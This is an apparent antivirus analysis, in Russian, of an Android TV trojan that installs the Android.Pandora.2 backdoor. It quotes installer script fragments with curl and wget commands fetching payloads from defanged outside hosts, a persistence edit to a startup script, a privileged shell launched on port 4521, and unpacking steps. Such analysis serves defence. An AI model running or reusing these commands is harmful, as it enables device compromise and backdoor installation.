SHA1-хеш:
- 59c9f06b3ff2abceb7116ffc9f4566d2466ae4c4
Описание
Троянская программа, предназначенная для работы на устройствах Android TV. Ее основные функции — запуск интерпретатора командной строки с повышенными привилегиями и установщика бэкдора Android.Pandora.2 на скомпрометированном устройстве.
Признаки наличия трояна:
сервис GoMediaService, который в разных случаях может иметь разные полные имена. Например:
com.interactive.brasiliptv.service.GoMediaService
com.main.service.GoMediaService- наличие файла gomediad.so в директории assets/ apk файла.
Принцип действия
GoMediaService запускается на переднем плане при загрузке устройства, либо при запуске приложения (во время создания активности).
Сервис копирует программу gomediad.so из assets/ в директорию с файлами приложения и запускает следующим образом:
Runtime.getRuntime().exec(savePath + '/' + "gomediad.so" + " -f " + savePath)Данная программа представляет собой ELF-файл, написанный на языке Go. Этот файл обфусцирован и упакован пакером, что затрудняет его подробный анализ.
На настоящий момент установлено, что программа выполняет следующие действия:
- отправка запроса по адресу hxxp://ip-api[.]com/json,
- установка связи с хостом i4nl[.]yalywi1gso[.]com, порт 9999 по протоколу TCP,
- отправка данных с hxxp://ip-api[.]com/json на i4nl[.]yalywi1gso[.]com с получением UUID и дальнейший обмен сообщениями следующего вида:
- распаковка следующего набора файлов:
Файл .tmp.sh представляет собой загрузчик и установщик бэкдора Android.Pandora.2.
Некоторые фрагменты кода из этого скрипта приведены ниже.
Загрузка и распаковка файлов Android.Pandora:
cd /data && /data/curl -C - hxxp://fadfatest[.]pneydn[.]com:8080/stb-download/tool/supervisord.tar.gz -O && unzip supervisord.tar.gz && chmod 755 curl pandoraspearrk supervisord s.conf arp
Добавление строчки в sh-файл:
super=`cat $rootspath|grep "/system/bin/supervisord -c /system/bin/s.conf "`
if [ "x${super}" == "x" ];then
echo "\n" >> $rootspath
echo "/system/bin/supervisord -c /system/bin/s.conf & " >> $rootspath
check_ser_run
resvalue=$?
if [ "$resvalue" -eq 0 ];then
nohup /system/bin/supervisord -c /system/bin/s.conf 2>&1 &
fi
fi
Загрузка дополнительных программ:
function keep_get_tool()
{
cd /data
ret=0
num=0
if [ -f "/system/bin/curl" ];then
return
fi
if [ -f "/data/curl" ];then
if [ `wc -c curl|awk -F" " '{print $1}'` -eq 1010536 ];then
return
fi
fi
busybox wget -c hxxp://195[.]154.168.94/curl
while true
do
echo 'start' ${num}
num=`expr $num + 1`
if [ `wc -c curl|awk -F" " '{print $1}'` -eq 1010536 ];then
echo "ok"
ret=1
break
fi
busybox wget -c hxxp://195[.]154.168.94/curl
sleep 2
if [ "${num}" -gt 200 ];then
ret=2;
break;
fi
done
chmod 755 curl
cd /data
}
Скрипт установки детектируется как Android.Pandora.15.
Файл classes.dex детектируется как объект Tool.AppProcessShell.1 и представляет собой интерпретатор командной строки с повышенными привилегиями (проект ныне заброшен автором). Данное приложение Dalvik Executable запускается через app_process следующим образом:
app_process -Djava.class.path=./classes.dex /system/bin shellService.MainВ дальнейшем программы на устройстве взаимодействуют с данной оболочкой командной строки через открытый порт 4521.
Для распаковки gomediad.so нужно по всему файлу заменить последовательность байт b"\x75\x40\x28\x71" на b"\x55\x50\x58\x21". После этого этот файл можно распаковать с помощью UPX.